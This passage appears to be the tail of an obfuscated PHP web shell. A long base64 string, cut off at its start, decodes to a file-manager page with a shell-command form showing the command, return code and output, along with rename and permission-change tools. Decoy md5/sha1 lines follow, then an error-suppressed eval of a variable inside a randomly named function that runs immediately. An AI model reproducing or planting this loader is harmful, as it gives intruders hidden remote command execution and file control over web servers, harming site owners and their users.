YWwoJ2NvbW1hbmRNb2RhbCcpIj7lj5bmtog8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1wcmltYXJ5Ij7miafooYw8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPC9mb3JtPg0KDQogICAgICAgICAgICAgICAgPD9waHAgaWYgKCRjb21tYW5kX291dHB1dCk6ID8+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbW1hbmQtb3V0cHV0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxzdHJvbmc+5ZG95LukOjwvc3Ryb25nPiA8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGNvbW1hbmRfb3V0cHV0Wydjb21tYW5kJ10pOyA/Pjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxzdHJvbmc+6L+U5Zue56CBOjwvc3Ryb25nPiA8P3BocCBlY2hvICRjb21tYW5kX291dHB1dFsncmV0dXJuX2NvZGUnXTsgPz48YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHN0cm9uZz7ovpPlh7o6PC9zdHJvbmc+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKGltcGxvZGUoIlxuIiwgJGNvbW1hbmRfb3V0cHV0WydvdXRwdXQnXSkpOyA/Pg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCg0KICAgICAgICA8c2NyaXB0Pg0KICAgICAgICAgICAgZnVuY3Rpb24gc2hvd01vZGFsKG1vZGFsSWQpe2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKG1vZGFsSWQpLnN0eWxlLmRpc3BsYXk9J2Jsb2NrJ30NCiAgICAgICAgICAgIGZ1bmN0aW9uIGhpZGVNb2RhbChtb2RhbElkKXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZChtb2RhbElkKS5zdHlsZS5kaXNwbGF5PSdub25lJ30NCiAgICAgICAgICAgIGZ1bmN0aW9uIHJlbmFtZUl0ZW0ob2xkUGF0aCwgb2xkTmFtZSl7DQogICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ29sZF9wYXRoJykudmFsdWU9b2xkUGF0aDsNCiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbmV3X25hbWUnKS52YWx1ZT1vbGROYW1lOw0KICAgICAgICAgICAgICAgIHNob3dNb2RhbCgncmVuYW1lTW9kYWwnKQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZnVuY3Rpb24gY2hhbmdlUGVybWlzc2lvbnModGFyZ2V0LGN1cnJlbnRQZXJtcyl7DQogICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Blcm1fdGFyZ2V0JykudmFsdWU9dGFyZ2V0Ow0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjdXJyZW50X3Blcm1zJykudGV4dENvbnRlbnQ9Y3VycmVudFBlcm1zOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwZXJtaXNzaW9uc19pbnB1dCcpLnZhbHVlPWN1cnJlbnRQZXJtczsNCiAgICAgICAgICAgICAgICBzaG93TW9kYWwoJ3Blcm1pc3Npb25zTW9kYWwnKQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgd2luZG93Lm9uY2xpY2s9ZnVuY3Rpb24oZXZlbnQpew0KICAgICAgICAgICAgICAgIGlmKGV2ZW50LnRhcmdldC5jbGFzc0xpc3QuY29udGFpbnMoJ21vZGFsJykpew0KICAgICAgICAgICAgICAgICAgICBldmVudC50YXJnZXQuc3R5bGUuZGlzcGxheT0nbm9uZScNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdrZXlkb3duJyxmdW5jdGlvbihlKXsNCiAgICAgICAgICAgICAgICBpZigoZS5jdHJsS2V5fHxlLm1ldGFLZXkpJiZlLmtleT09PSdzJyl7DQogICAgICAgICAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgICAgICAgICAgICAgaWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZpbGVfY29udGVudCcpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJ2Zvcm0gW3R5cGU9InN1Ym1pdCJdJykuY2xpY2soKQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSk7DQogICAgICAgIDwvc2NyaXB0Pg0KICAgICAgICA8L2JvZHk+DQogICAgICAgIDwvaHRtbD4NCiAgICAgICAgPD9waHANCiAgICB9DQp9DQoNCiRmaWxlX21hbmFnZXIgPSBuZXcgRmlsZU1hbmFnZXIoKTsNCiRmaWxlX21hbmFnZXItPnJlbmRlcigpOw0KPz4=', true);
$useless_final = md5('WTKCuoWI6o');
$useless_final = sha1($useless_final);
unset($useless_final);
$EXEND = !empty($NfOoNvw);
if ($EXEND) {
@eval($NfOoNvw);
}
}
iPEWXaxDJ();
}